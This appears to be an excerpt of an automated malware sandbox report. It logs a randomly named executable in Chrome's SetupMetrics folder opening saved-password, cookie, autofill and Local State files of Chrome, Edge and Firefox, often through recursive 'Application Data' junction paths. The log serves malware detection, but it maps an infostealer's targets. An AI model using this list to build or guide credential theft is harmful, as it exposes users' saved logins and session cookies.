Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
